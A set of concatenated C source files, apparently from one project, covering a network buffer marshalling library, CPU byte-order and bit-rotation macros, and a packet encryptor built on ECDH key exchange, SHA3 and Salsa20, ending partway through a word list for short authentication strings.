1040 buffer_add_int32(buffer, 0x0c0d0e0f);
1041 buffer_print(buffer);
1042
1043 buffer_read_next_unicode(buffer, unicode, 8);
1044 printf("Unicode: %s\n", unicode);
1045 for(i = 0; i < 2; i++)
1046 {
1047 buffer_read_next_ntstring(buffer, data, 16);
1048 printf("Read %d: %s\n", i, data);
1049 }
1050 buffer_print(buffer);
1051
1052 data8 = buffer_read_next_int8(buffer);
1053 data16 = buffer_read_next_int16(buffer);
1054 data32 = buffer_read_next_int32(buffer);
1055 printf("%08x\n", data8);
1056 printf("%08x\n", data16);
1057 printf("%08x\n", data32);
1058 data32 = buffer_read_next_int32(buffer);
1059 printf("%08x\n", data32);
1060 data32 = buffer_read_next_int32(buffer);
1061 printf("%08x\n", data32);
1062 buffer_destroy(buffer);
1063
1064
1065
1066 buffer = buffer_create(BO_NETWORK);
1067 buffer_add_int32(buffer, 0x01020304);
1068 buffer_print(buffer);
1069 printf("Test: %08x\n", buffer_read_next_int32(buffer));
1070 printf("Test: %08x\n", buffer_read_int32_at(buffer, 0));
1071 buffer_destroy(buffer);
1072 printf("\n");
1073
1074 buffer = buffer_create(BO_HOST);
1075 buffer_add_int32(buffer, 0x01020304);
1076 buffer_print(buffer);
1077 printf("Test: %08x\n", buffer_read_next_int32(buffer));
1078 printf("Test: %08x\n", buffer_read_int32_at(buffer, 0));
1079 buffer_destroy(buffer);
1080 printf("\n");
1081
1082 buffer = buffer_create(BO_LITTLE_ENDIAN);
1083 buffer_add_int32(buffer, 0x01020304);
1084 buffer_print(buffer);
1085 printf("Test: %08x\n", buffer_read_next_int32(buffer));
1086 printf("Test: %08x\n", buffer_read_int32_at(buffer, 0));
1087 buffer_destroy(buffer);
1088 printf("\n");
1089
1090 buffer = buffer_create(BO_BIG_ENDIAN);
1091 buffer_add_int32(buffer, 0x01020304);
1092 buffer_print(buffer);
1093 printf("Test: %08x\n", buffer_read_next_int32(buffer));
1094 printf("Test: %08x\n", buffer_read_int32_at(buffer, 0));
1095 buffer_destroy(buffer);
1096
1097
1098
1099 return 0;
1100 }
1101 #endif
1102
0 /* buffer.h
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 *
6 * This is a generic class for buffering (marshalling) data that in many ways
7 * dates back to my days as a Battle.net developers. It gives programmers an
8 * easy way to prepare data to be sent on the network, as well as a simplified
9 * way to build strings in a language where string building isn't always
10 * straight forward. In many ways, it's like the pack()/unpack() functions from
11 * Perl.
12 *
13 * I've strived to keep this implementation the same on every platform. You'll
14 * notice that there's no Windows-specific code here, and also that all
15 * calculations will work on both a little- or big-endian system. The only time
16 * you won't get the same results is when you create a buffer with the type
17 * BO_HOST, which always uses the host's byte ordering. I don't recommend that.
18 */
19
20 #ifndef __BUFFER_H__
21 #define __BUFFER_H__
22
23 #include <stdlib.h> /* For "size_t". */
24
25 #include "types.h"
26
27 typedef enum
28 {
29 BO_HOST, /* Use the byte order of the host (bad idea -- changes on systems. */
30 BO_NETWORK, /* Use network byte order which, as it turns out, is big endian. */
31 BO_LITTLE_ENDIAN, /* Use big endian byte ordering (0x12345678 => 78 56 34 12). */
32 BO_BIG_ENDIAN, /* Use big endian byte ordering (0x12345678 => 12 34 56 78). */
33 } BYTE_ORDER_t;
34
35 /* This struct shouldn't be accessed directly */
36 typedef struct
37 {
38 /* Byte order to use */
39 BYTE_ORDER_t byte_order;
40
41 /* The current position in the string, used when reading it. */
42 size_t position;
43
44 /* The maximum length of the buffer that "buffer" is pointing to. When
45 * space in this runs out, it's expanded */
46 size_t max_length;
47
48 /* The current length of the buffer. */
49 size_t current_length;
50
51 /* The current buffer. Will always point to a string of length max_length */
52 uint8_t *data;
53
54 /* Set to FALSE when the packet is destroyed, to make sure I don't accidentally
55 * re-use it (again) */
56 NBBOOL valid;
57
58 } buffer_t;
59
60 /* Create a new packet buffer */
61 buffer_t *buffer_create(BYTE_ORDER_t byte_order);
62
63 /* Create a new packet buffer, with data. */
64 buffer_t *buffer_create_with_data(BYTE_ORDER_t byte_order, const void *data, const size_t length);
65
66 /* Go to the start of the buffer. */
67 void buffer_reset(buffer_t *buffer);
68
69 /* Destroy the buffer and free resources. If this isn't used, memory will leak. */
70 void buffer_destroy(buffer_t *buffer);
71
72 /* Makes a copy of the buffer. */
73 buffer_t *buffer_duplicate(buffer_t *base);
74
75 /* Get the length of the buffer. */
76 size_t buffer_get_length(buffer_t *buffer);
77
78 /* Get the current location in the buffer. */
79 size_t buffer_get_current_offset(buffer_t *buffer);
80 /* Set the current location in the buffer. */
81 void buffer_set_current_offset(buffer_t *buffer, size_t position);
82
83 /* Get the number of bytes between the current offset and the end of the buffer. */
84 size_t buffer_get_remaining_bytes(buffer_t *buffer);
85
86 /* Clear out the buffer. Memory is kept, but the contents are blanked out and the pointer is returned
87 * to the beginning. */
88 void buffer_clear(buffer_t *buffer);
89
90 /* Align the buffer to even multiples. */
91 void buffer_read_align(buffer_t *buffer, size_t align);
92 void buffer_write_align(buffer_t *buffer, size_t align);
93
94 /* Consume (discard) bytes. */
95 void buffer_consume(buffer_t *buffer, size_t count);
96
97 /* Return the contents of the buffer in a newly allocated string. Fill in the length, if a pointer
98 * is given. Note that this allocates memory that has to be freed! */
99 uint8_t *buffer_create_string(buffer_t *buffer, size_t *length);
100 /* Does the same thing as above, but also frees up the buffer (good for a function return). */
101 uint8_t *buffer_create_string_and_destroy(buffer_t *buffer, size_t *length);
102
103 /* Returns the contents of the buffer - starting at the current position - in a newly allocated
104 * string. Returns the length in the length pointer. If max_bytes is -1, all bytes are returned. */
105 uint8_t *buffer_read_remaining_bytes(buffer_t *buffer, size_t *length, size_t max_bytes, NBBOOL consume);
106
107 /* Add data to the end of the buffer */
108 buffer_t *buffer_add_int8(buffer_t *buffer, const uint8_t data);
109 buffer_t *buffer_add_int16(buffer_t *buffer, const uint16_t data);
110 buffer_t *buffer_add_int32(buffer_t *buffer, const uint32_t data);
111 buffer_t *buffer_add_ntstring(buffer_t *buffer, const char *data);
112 buffer_t *buffer_add_string(buffer_t *buffer, const char *data);
113 /* Note: UNICODE support is a hack -- it adds every second character as a NULL, but is otherwise ASCII. */
114 buffer_t *buffer_add_unicode(buffer_t *buffer, const char *data);
115 buffer_t *buffer_add_bytes(buffer_t *buffer, const void *data, const size_t length);
116 buffer_t *buffer_add_buffer(buffer_t *buffer, const buffer_t *source);
117
118 /* Add data to the middle of a buffer. These functions won't write past the end of the buffer, so it's
119 * up to the programmer to be careful. */
120 buffer_t *buffer_add_int8_at(buffer_t *buffer, const uint8_t data, size_t offset);
121 buffer_t *buffer_add_int16_at(buffer_t *buffer, const uint16_t data, size_t offset);
122 buffer_t *buffer_add_int32_at(buffer_t *buffer, const uint32_t data, size_t offset);
123 buffer_t *buffer_add_ntstring_at(buffer_t *buffer, const char *data, size_t offset);
124 buffer_t *buffer_add_string_at(buffer_t *buffer, const char *data, size_t offset);
125 buffer_t *buffer_add_unicode_at(buffer_t *buffer, const char *data, size_t offset);
126 buffer_t *buffer_add_bytes_at(buffer_t *buffer, const void *data, const size_t length, size_t offset);
127 buffer_t *buffer_add_buffer_at(buffer_t *buffer, const buffer_t *source, size_t offset);
128
129 /* Read the next data from the buffer. The first read will be at the beginning.
130 * An assertion will fail and the program will end if read off
131 * the end of the buffer; it's probably a good idea to verify that enough data can be removed
132 * before actually attempting to remove it; otherwise, a DoS condition can occur */
133 uint8_t buffer_read_next_int8(buffer_t *buffer);
134 uint16_t buffer_read_next_int16(buffer_t *buffer);
135 uint32_t buffer_read_next_int32(buffer_t *buffer);
136 char *buffer_read_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length);
137 char *buffer_read_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length);
138 char *buffer_read_next_unicode_data(buffer_t *buffer, char *data_ret, size_t length);
139 void *buffer_read_next_bytes(buffer_t *buffer, void *data, size_t length);
140
141 /* Allocate memory to hold the result. */
142 char *buffer_alloc_next_ntstring(buffer_t *buffer);
143
144 /* Read the next data, without incrementing the current pointer. */
145 uint8_t buffer_peek_next_int8(buffer_t *buffer);
146 uint16_t buffer_peek_next_int16(buffer_t *buffer);
147 uint32_t buffer_peek_next_int32(buffer_t *buffer);
148 char *buffer_peek_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length);
149 char *buffer_peek_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length);
150 void *buffer_peek_next_bytes(buffer_t *buffer, void *data, size_t length);
151
152 /* Read data at the specified location in the buffer (counting the first byte as 0). */
153 uint8_t buffer_read_int8_at(buffer_t *buffer, size_t offset);
154 uint16_t buffer_read_int16_at(buffer_t *buffer, size_t offset);
155 uint32_t buffer_read_int32_at(buffer_t *buffer, size_t offset);
156 char *buffer_read_ntstring_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length);
157 char *buffer_read_unicode_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length);
158 char *buffer_read_unicode_data_at(buffer_t *buffer, size_t offset, char *data_ret, size_t length);
159 void *buffer_read_bytes_at(buffer_t *buffer, size_t offset, void *data, size_t length);
160
161 /* Allocate memory to hold the result. */
162 char *buffer_alloc_ntstring_at(buffer_t *buffer, size_t offset);
163
164 /* These NBBOOL functions check if there are enough bytes left in the buffer to remove
165 * specified data. These should always be used on the server side to verify valid
166 * packets for a critical service. */
167 NBBOOL buffer_can_read_int8(buffer_t *buffer);
168 NBBOOL buffer_can_read_int16(buffer_t *buffer);
169 NBBOOL buffer_can_read_int32(buffer_t *buffer);
170 NBBOOL buffer_can_read_ntstring(buffer_t *buffer);
171 NBBOOL buffer_can_read_unicode(buffer_t *buffer);
172 NBBOOL buffer_can_read_bytes(buffer_t *buffer, size_t length);
173
174 /* These functions check if there are enough bytes in the buffer at the specified location. */
175 NBBOOL buffer_can_read_int8_at(buffer_t *buffer, size_t offset);
176 NBBOOL buffer_can_read_int16_at(buffer_t *buffer, size_t offset);
177 NBBOOL buffer_can_read_int32_at(buffer_t *buffer, size_t offset);
178 NBBOOL buffer_can_read_ntstring_at(buffer_t *buffer, size_t offset, size_t max_length);
179 NBBOOL buffer_can_read_unicode_at(buffer_t *buffer, size_t offset, size_t max_length);
180 NBBOOL buffer_can_read_bytes_at(buffer_t *buffer, size_t offset, size_t length);
181
182 /* Print out the buffer in a nice format -- useful for debugging. */
183 void buffer_print(buffer_t *buffer);
184
185 /* Returns a pointer to the actual buffer (I don't recommend using this). */
186 uint8_t *buffer_get(buffer_t *buffer, size_t *length);
187
188 #endif
0 /* byte_order.h */
1 #ifndef BYTE_ORDER_H
2 #define BYTE_ORDER_H
3 #include "ustd.h"
4 #include <stdlib.h>
5
6 #ifdef IN_RHASH
7 #include "config.h"
8 #endif
9
10 #ifdef __GLIBC__
11 # include <endian.h>
12 #endif
13
14 #ifdef __cplusplus
15 extern "C" {
16 #endif
17
18 /* if x86 compatible cpu */
19 #if defined(i386) || defined(__i386__) || defined(__i486__) || \
20 defined(__i586__) || defined(__i686__) || defined(__pentium__) || \
21 defined(__pentiumpro__) || defined(__pentium4__) || \
22 defined(__nocona__) || defined(prescott) || defined(__core2__) || \
23 defined(__k6__) || defined(__k8__) || defined(__athlon__) || \
24 defined(__amd64) || defined(__amd64__) || \
25 defined(__x86_64) || defined(__x86_64__) || defined(_M_IX86) || \
26 defined(_M_AMD64) || defined(_M_IA64) || defined(_M_X64)
27 /* detect if x86-64 instruction set is supported */
28 # if defined(_LP64) || defined(__LP64__) || defined(__x86_64) || \
29 defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64)
30 # define CPU_X64
31 # else
32 # define CPU_IA32
33 # endif
34 #endif
35
36
37 /* detect CPU endianness */
38 #if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \
39 __BYTE_ORDER == __LITTLE_ENDIAN) || \
40 defined(CPU_IA32) || defined(CPU_X64) || \
41 defined(__ia64) || defined(__ia64__) || defined(__alpha__) || defined(_M_ALPHA) || \
42 defined(vax) || defined(MIPSEL) || defined(_ARM_)
43 # define CPU_LITTLE_ENDIAN
44 # define IS_BIG_ENDIAN 0
45 # define IS_LITTLE_ENDIAN 1
46 #elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \
47 __BYTE_ORDER == __BIG_ENDIAN) || \
48 defined(__sparc) || defined(__sparc__) || defined(sparc) || \
49 defined(_ARCH_PPC) || defined(_ARCH_PPC64) || defined(_POWER) || \
50 defined(__POWERPC__) || defined(POWERPC) || defined(__powerpc) || \
51 defined(__powerpc__) || defined(__powerpc64__) || defined(__ppc__) || \
52 defined(__hpux) || defined(_MIPSEB) || defined(mc68000) || \
53 defined(__s390__) || defined(__s390x__) || defined(sel)
54 # define CPU_BIG_ENDIAN
55 # define IS_BIG_ENDIAN 1
56 # define IS_LITTLE_ENDIAN 0
57 #else
58 # error "Can't detect CPU architechture"
59 #endif
60
61 #define IS_ALIGNED_32(p) (0 == (3 & ((const char*)(p) - (const char*)0)))
62 #define IS_ALIGNED_64(p) (0 == (7 & ((const char*)(p) - (const char*)0)))
63
64 #if defined(_MSC_VER)
65 #define ALIGN_ATTR(n) __declspec(align(n))
66 #elif defined(__GNUC__)
67 #define ALIGN_ATTR(n) __attribute__((aligned (n)))
68 #else
69 #define ALIGN_ATTR(n) /* nothing */
70 #endif
71
72
73 #if defined(_MSC_VER) || defined(__BORLANDC__)
74 #define I64(x) x##ui64
75 #else
76 #define I64(x) x##LL
77 #endif
78
79 /* convert a hash flag to index */
80 #if __GNUC__ >= 4 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) /* GCC < 3.4 */
81 # define rhash_ctz(x) __builtin_ctz(x)
82 #else
83 unsigned rhash_ctz(unsigned); /* define as function */
84 #endif
85
86 void rhash_swap_copy_str_to_u32(void* to, int index, const void* from, size_t length);
87 void rhash_swap_copy_str_to_u64(void* to, int index, const void* from, size_t length);
88 void rhash_swap_copy_u64_to_str(void* to, const void* from, size_t length);
89 void rhash_u32_mem_swap(unsigned *p, int length_in_u32);
90
91 /* define bswap_32 */
92 #if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__)
93 /* for intel x86 CPU */
94 static inline uint32_t bswap_32(uint32_t x) {
95 __asm("bswap\t%0" : "=r" (x) : "0" (x));
96 return x;
97 }
98 #elif defined(__GNUC__) && (__GNUC__ >= 4) && (__GNUC__ > 4 || __GNUC_MINOR__ >= 3)
99 /* for GCC >= 4.3 */
100 # define bswap_32(x) __builtin_bswap32(x)
101 #elif (_MSC_VER > 1300) && (defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */
102 # define bswap_32(x) _byteswap_ulong((unsigned long)x)
103 #elif !defined(__STRICT_ANSI__)
104 /* general bswap_32 definition */
105 static inline uint32_t bswap_32(uint32_t x) {
106 x = ((x << 8) & 0xFF00FF00) | ((x >> 8) & 0x00FF00FF);
107 return (x >> 16) | (x << 16);
108 }
109 #else
110 #define bswap_32(x) ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | \
111 (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24))
112 #endif /* bswap_32 */
113
114 #if defined(__GNUC__) && (__GNUC__ >= 4) && (__GNUC__ >= 4 || __GNUC_MINOR__ >= 3)
115 # define bswap_64(x) __builtin_bswap64(x)
116 #elif (_MSC_VER > 1300) && (defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */
117 # define bswap_64(x) _byteswap_uint64((__int64)x)
118 #elif !defined(__STRICT_ANSI__)
119 static inline uint64_t bswap_64(uint64_t x) {
120 union {
121 uint64_t ll;
122 uint32_t l[2];
123 } w, r;
124 w.ll = x;
125 r.l[0] = bswap_32(w.l[1]);
126 r.l[1] = bswap_32(w.l[0]);
127 return r.ll;
128 }
129 #elif defined(__FreeBSD__) || defined(__NetBSD__)
130 # define bswap_64(x) bswap64(x)
131 #elif defined(__OpenBSD__)
132 # define bswap_64(x) swap64(x)
133 #elif defined(__APPLE__)
134 # include <libkern/OSByteOrder.h>
135 # define bswap_64 OSSwapInt64
136 #else
137 # error "bswap_64 unsupported"
138 #endif
139
140 #ifdef CPU_BIG_ENDIAN
141 # define be2me_32(x) (x)
142 # define be2me_64(x) (x)
143 # define le2me_32(x) bswap_32(x)
144 # define le2me_64(x) bswap_64(x)
145
146 # define be32_copy(to, index, from, length) memcpy((to) + (index), (from), (length))
147 # define le32_copy(to, index, from, length) rhash_swap_copy_str_to_u32((to), (index), (from), (length))
148 # define be64_copy(to, index, from, length) memcpy((to) + (index), (from), (length))
149 # define le64_copy(to, index, from, length) rhash_swap_copy_str_to_u64((to), (index), (from), (length))
150 # define me64_to_be_str(to, from, length) memcpy((to), (from), (length))
151 # define me64_to_le_str(to, from, length) rhash_swap_copy_u64_to_str((to), (from), (length))
152
153 #else /* CPU_BIG_ENDIAN */
154 # define be2me_32(x) bswap_32(x)
155 # define be2me_64(x) bswap_64(x)
156 # define le2me_32(x) (x)
157 # define le2me_64(x) (x)
158
159 # define be32_copy(to, index, from, length) rhash_swap_copy_str_to_u32((to), (index), (from), (length))
160 # define le32_copy(to, index, from, length) memcpy((to) + (index), (from), (length))
161 # define be64_copy(to, index, from, length) rhash_swap_copy_str_to_u64((to), (index), (from), (length))
162 # define le64_copy(to, index, from, length) memcpy((to) + (index), (from), (length))
163 # define me64_to_be_str(to, from, length) rhash_swap_copy_u64_to_str((to), (from), (length))
164 # define me64_to_le_str(to, from, length) memcpy((to), (from), (length))
165 #endif /* CPU_BIG_ENDIAN */
166
167 /* ROTL/ROTR macros rotate a 32/64-bit word left/right by n bits */
168 #define ROTL32(dword, n) ((dword) << (n) ^ ((dword) >> (32 - (n))))
169 #define ROTR32(dword, n) ((dword) >> (n) ^ ((dword) << (32 - (n))))
170 #define ROTL64(qword, n) ((qword) << (n) ^ ((qword) >> (64 - (n))))
171 #define ROTR64(qword, n) ((qword) >> (n) ^ ((qword) << (64 - (n))))
172
173 #ifdef __cplusplus
174 } /* extern "C" */
175 #endif /* __cplusplus */
176
177 #endif /* BYTE_ORDER_H */
0 /**
1 * encryptor.c
2 * Created by Ron Bowes
3 * October, 2015
4 *
5 * See LICENSE.md
6 */
7
8 #ifndef NO_ENCRYPTION
9
10 #include <stdio.h>
11 #include <string.h>
12
13 #include "libs/buffer.h"
14 #include "libs/crypto/sha3.h"
15 #include "libs/crypto/salsa20.h"
16 #include "libs/crypto/micro-ecc/uECC.h"
17 #include "libs/memory.h"
18 #include "libs/types.h"
19
20 #include "encryptor.h"
21 #include "encryptor_sas_dict.h"
22
23 #define SAS_AUTHSTRING ("authstring")
24
25 #define HEADER_LENGTH 5
26 #define SIGNATURE_LENGTH 6
27
28 static void make_key(encryptor_t *encryptor, char *key_name, uint8_t *result)
29 {
30 sha3_ctx ctx;
31
32 sha3_256_init(&ctx);
33 sha3_update(&ctx, encryptor->shared_secret, 32);
34 sha3_update(&ctx, (uint8_t*)key_name, strlen(key_name));
35 sha3_final(&ctx, result);
36 }
37
38 static void make_authenticator(encryptor_t *encryptor, char *authstring, uint8_t *buffer)
39 {
40 sha3_ctx ctx;
41
42 sha3_256_init(&ctx);
43 sha3_update(&ctx, (uint8_t*)authstring, strlen(authstring));
44 sha3_update(&ctx, encryptor->shared_secret, 32);
45 sha3_update(&ctx, encryptor->my_public_key, 64);
46 sha3_update(&ctx, encryptor->their_public_key, 64);
47 sha3_update(&ctx, (uint8_t*)encryptor->preshared_secret, strlen(encryptor->preshared_secret));
48 sha3_final(&ctx, buffer);
49 }
50
51 encryptor_t *encryptor_create(char *preshared_secret)
52 {
53 encryptor_t *encryptor = safe_malloc(sizeof(encryptor_t));
54
55 if(!uECC_make_key(encryptor->my_public_key, encryptor->my_private_key, uECC_secp256r1()))
56 return NULL;
57
58 encryptor->preshared_secret = preshared_secret;
59
60 return encryptor;
61 }
62
63 NBBOOL encryptor_set_their_public_key(encryptor_t *encryptor, uint8_t *their_public_key)
64 {
65 if(!uECC_shared_secret(their_public_key, encryptor->my_private_key, encryptor->shared_secret, uECC_secp256r1()))
66 return FALSE;
67
68 /* Store their key (we need it to generate the SAS). */
69 memcpy(encryptor->their_public_key, their_public_key, 64);
70
71 make_key(encryptor, "client_write_key", encryptor->my_write_key);
72 make_key(encryptor, "client_mac_key", encryptor->my_mac_key);
73 make_key(encryptor, "server_write_key", encryptor->their_write_key);
74 make_key(encryptor, "server_mac_key", encryptor->their_mac_key);
75
76 if(encryptor->preshared_secret)
77 {
78 make_authenticator(encryptor, "client", encryptor->my_authenticator);
79 make_authenticator(encryptor, "server", encryptor->their_authenticator);
80 }
81
82 return TRUE;
83 }
84
85 uint16_t encryptor_get_nonce(encryptor_t *encryptor)
86 {
87 return encryptor->nonce++;
88 }
89
90 NBBOOL encryptor_should_we_renegotiate(encryptor_t *encryptor)
91 {
92 return encryptor->nonce > 0xFFF0;
93 }
94
95 void encryptor_print(encryptor_t *encryptor)
96 {
97 print_hex("my_private_key", encryptor->my_private_key, 32);
98 print_hex("my_public_key", encryptor->my_public_key, 64);
99 print_hex("their_public_key", encryptor->their_public_key, 64);
100 printf("\n");
101 print_hex("shared_secret", encryptor->shared_secret, 32);
102 if(encryptor->preshared_secret)
103 {
104 print_hex("my_authenticator", encryptor->my_authenticator, 32);
105 print_hex("their_authenticator", encryptor->their_authenticator, 32);
106 }
107 printf("\n");
108 print_hex("my_write_key", encryptor->my_write_key, 32);
109 print_hex("my_mac_key", encryptor->my_mac_key, 32);
110 print_hex("their_write_key", encryptor->their_write_key, 32);
111 print_hex("their_mac_key", encryptor->their_mac_key, 32);
112 }
113
114 void encryptor_print_sas(encryptor_t *encryptor)
115 {
116 sha3_ctx ctx;
117 uint8_t hash[32];
118 size_t i;
119
120 sha3_256_init(&ctx);
121 sha3_update(&ctx, (uint8_t*)SAS_AUTHSTRING, strlen(SAS_AUTHSTRING));
122 sha3_update(&ctx, encryptor->shared_secret, 32);
123 sha3_update(&ctx, encryptor->my_public_key, 64);
124 sha3_update(&ctx, encryptor->their_public_key, 64);
125 sha3_final(&ctx, hash);
126
127 for(i = 0; i < 6; i++)
128 printf("%s ", sas_dict[hash[i]]);
129 printf("\n");
130 }
131
132 NBBOOL encryptor_check_signature(encryptor_t *encryptor, buffer_t *buffer)
133 {
134 sha3_ctx ctx;
135
136 uint8_t header[HEADER_LENGTH];
137 uint8_t their_signature[SIGNATURE_LENGTH];
138 uint8_t good_signature[32];
139 uint8_t *body;
140 size_t body_length;
141
142 uint8_t *signed_data = NULL;
143 size_t signed_length = -1;
144
145 /* Start from the beginning. */
146 buffer_reset(buffer);
147
148 /* Read the 5-byte header. */
149 buffer_read_next_bytes(buffer, header, HEADER_LENGTH);
150
151 /* Read their 6-byte (48-bit) signature off the front of the packet. */
152 buffer_read_next_bytes(buffer, their_signature, SIGNATURE_LENGTH);
153
154 /* Read the body. */
155 body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE);
156
157 /* Re-build the buffer without the signature. */
158 buffer_clear(buffer);
159 buffer_add_bytes(buffer, header, HEADER_LENGTH);
160 buffer_add_bytes(buffer, body, body_length);
161
162 /* Get it out as a string. */
163 signed_data = buffer_create_string(buffer, &signed_length);
164
165 /* Calculate H(mac_key || data) */
166 sha3_256_init(&ctx);
167 sha3_update(&ctx, encryptor->their_mac_key, 32);
168 sha3_update(&ctx, signed_data, signed_length);
169 sha3_final(&ctx, good_signature);
170
171 /* Free the data we allocated. */
172 safe_free(signed_data);
173 safe_free(body);
174
175 /* Validate the signature */
176 return (NBBOOL)!memcmp(their_signature, good_signature, SIGNATURE_LENGTH);
177 }
178
179 void encryptor_decrypt_buffer(encryptor_t *encryptor, buffer_t *buffer, uint16_t *nonce)
180 {
181 uint8_t header[HEADER_LENGTH] = {0};
182 uint8_t nonce_str[8] = {0};
183 uint8_t *body = NULL;
184 size_t body_length = -1;
185
186 /* Start from the beginning. */
187 buffer_reset(buffer);
188
189 /* Read the header. */
190 buffer_read_next_bytes(buffer, header, HEADER_LENGTH);
191
192 /* Read the nonce, padded with zeroes. */
193 memset(nonce_str, '\0', 8);
194 buffer_read_next_bytes(buffer, nonce_str+6, 2);
195
196 /* Read the nonce into a return variable. */
197 if(nonce)
198 *nonce = buffer_read_int16_at(buffer, HEADER_LENGTH);
199
200 /* Read the body, which is what's encrypted. */
201 body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE);
202
203 /* Decrypt the body! */
204 s20_crypt(encryptor->their_write_key, S20_KEYLEN_256, nonce_str, 0, body, body_length);
205
206 /* Re-build the packet without the nonce. */
207 buffer_clear(buffer);
208 buffer_add_bytes(buffer, header, 5);
209 buffer_add_bytes(buffer, body, body_length);
210
211 /* Free up memory. */
212 safe_free(body);
213 }
214
215 void encryptor_sign_buffer(encryptor_t *encryptor, buffer_t *buffer)
216 {
217 sha3_ctx ctx;
218 uint8_t signature[32];
219
220 uint8_t header[HEADER_LENGTH] = {0};
221 uint8_t *body = NULL;
222 size_t body_length = -1;
223
224 /* Start from the beginning. */
225 buffer_reset(buffer);
226
227 /* Read the header. */
228 buffer_read_next_bytes(buffer, header, HEADER_LENGTH);
229
230 /* Read the body. */
231 body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE);
232
233 /* Generate the signature. */
234 sha3_256_init(&ctx);
235 sha3_update(&ctx, encryptor->my_mac_key, 32);
236 sha3_update(&ctx, header, HEADER_LENGTH);
237 sha3_update(&ctx, body, body_length);
238 sha3_final(&ctx, signature);
239
240 /* Add the truncated signature to the packet. */
241 buffer_clear(buffer);
242 buffer_add_bytes(buffer, header, HEADER_LENGTH);
243 buffer_add_bytes(buffer, signature, SIGNATURE_LENGTH);
244 buffer_add_bytes(buffer, body, body_length);
245
246 /* Free memory. */
247 safe_free(body);
248 }
249
250 void encryptor_encrypt_buffer(encryptor_t *encryptor, buffer_t *buffer)
251 {
252 uint8_t header[HEADER_LENGTH] = {0};
253 uint16_t nonce = encryptor_get_nonce(encryptor);
254 uint8_t nonce_str[8] = {0};
255 uint8_t *body = NULL;
256 size_t body_length = -1;
257
258 /* Start from the beginning. */
259 buffer_reset(buffer);
260
261 /* Read the header. */
262 buffer_read_next_bytes(buffer, header, HEADER_LENGTH);
263
264 /* Set up the nonce. */
265 memset(nonce_str, '\0', 8);
266 nonce_str[6] = (nonce >> 8) & 0x00FF;
267 nonce_str[7] = (nonce >> 0) & 0x00FF;
268
269 /* Read the body, which is what we will encrypt. */
270 body = buffer_read_remaining_bytes(buffer, &body_length, -1, FALSE);
271
272 /* Encrypt the body! */
273 s20_crypt(encryptor->my_write_key, S20_KEYLEN_256, nonce_str, 0, body, body_length);
274
275 /* Re-build the packet with the nonce. */
276 buffer_clear(buffer);
277 buffer_add_bytes(buffer, header, 5);
278 buffer_add_int16(buffer, nonce);
279 buffer_add_bytes(buffer, body, body_length);
280
281 /* Free memory. */
282 safe_free(body);
283 }
284
285 void encryptor_destroy(encryptor_t *encryptor)
286 {
287 /* safe_free() does this anyway, but let's do it explicitly since it's crypto. */
288 memset(encryptor, 0, sizeof(encryptor_t));
289 safe_free(encryptor);
290 }
291
292 #endif
0 /**
1 * encryptor.h
2 * Created by Ron Bowes
3 * October, 2015
4 *
5 * See LICENSE.md
6 */
7 #ifndef __ENCRYPTOR_H__
8 #define __ENCRYPTOR_H__
9
10 typedef struct
11 {
12 char *preshared_secret;
13
14 uint8_t my_private_key[32];
15 uint8_t my_public_key[64];
16 uint8_t their_public_key[64];
17
18 uint8_t shared_secret[32];
19 uint8_t my_authenticator[32];
20 uint8_t their_authenticator[32];
21
22 uint8_t my_write_key[32];
23 uint8_t my_mac_key[32];
24 uint8_t their_write_key[32];
25 uint8_t their_mac_key[32];
26
27 uint16_t nonce;
28 } encryptor_t;
29
30 /* Create a new encryptor and generate a new private key. */
31 encryptor_t *encryptor_create(char *preshared_secret);
32
33 /* Set their pubkey, and also calculate all the various derived values. */
34 NBBOOL encryptor_set_their_public_key(encryptor_t *encryptor, uint8_t *their_public_key);
35
36 /* Get the next nonce. */
37 uint16_t encryptor_get_nonce(encryptor_t *encryptor);
38
39 /* Check if we should re-negotiate. */
40 NBBOOL encryptor_should_we_renegotiate(encryptor_t *encryptor);
41
42 /* Print all the internal encryptor variables. */
43 void encryptor_print(encryptor_t *encryptor);
44
45 /* Print the short authentication string. */
46 void encryptor_print_sas(encryptor_t *encryptor);
47
48 /* Validates that the packet, stored in buffer, has a valid signature.
49 * It also removes the signature from the buffer. */
50 NBBOOL encryptor_check_signature(encryptor_t *encryptor, buffer_t *buffer);
51
52 /* Decrypt the packet, stored in buffer. Also removes the nonce and
53 * returns it in the nonce parameter, if it's not NULL. */
54 void encryptor_decrypt_buffer(encryptor_t *encryptor, buffer_t *buffer, uint16_t *nonce);
55
56 /* Adds a signature to the packet stored in buffer. */
57 void encryptor_sign_buffer(encryptor_t *encryptor, buffer_t *buffer);
58
59 /* Encrypts the packet stored in buffer, and adds the nonce to it. */
60 void encryptor_encrypt_buffer(encryptor_t *encryptor, buffer_t *buffer);
61
62 /* Destroy the encryptor and free/wipe any memory used. */
63 void encryptor_destroy(encryptor_t *encryptor);
64
65
66 #endif
0
1 /**
2 * encryptor_sas_dict.h
3 * Created by Ron Bowes
4 * October, 2015
5 *
6 * See LICENSE.md
7 */
8
9 char *sas_dict[] = {
10 "Abate",
11 "Absorb",
12 "Ache",
13 "Acidy",
14 "Across",
15 "After",
16 "Alike",
17 "Amount",
18 "Amuse",
19 "Annoy",
20 "Annuls",
21 "Ardent",
22 "Ascot",
23 "Bait",
24 "Barons",
25 "Barret",
26 "Bask",
27 "Becurl",
28 "Befool",
29 "Bell",
30 "Bifold",
31 "Bogie",
32 "Boxen",
33 "Bozo",
34 "Broke",
35 "Bulby",
36 "Bunny",
37 "Calmly",
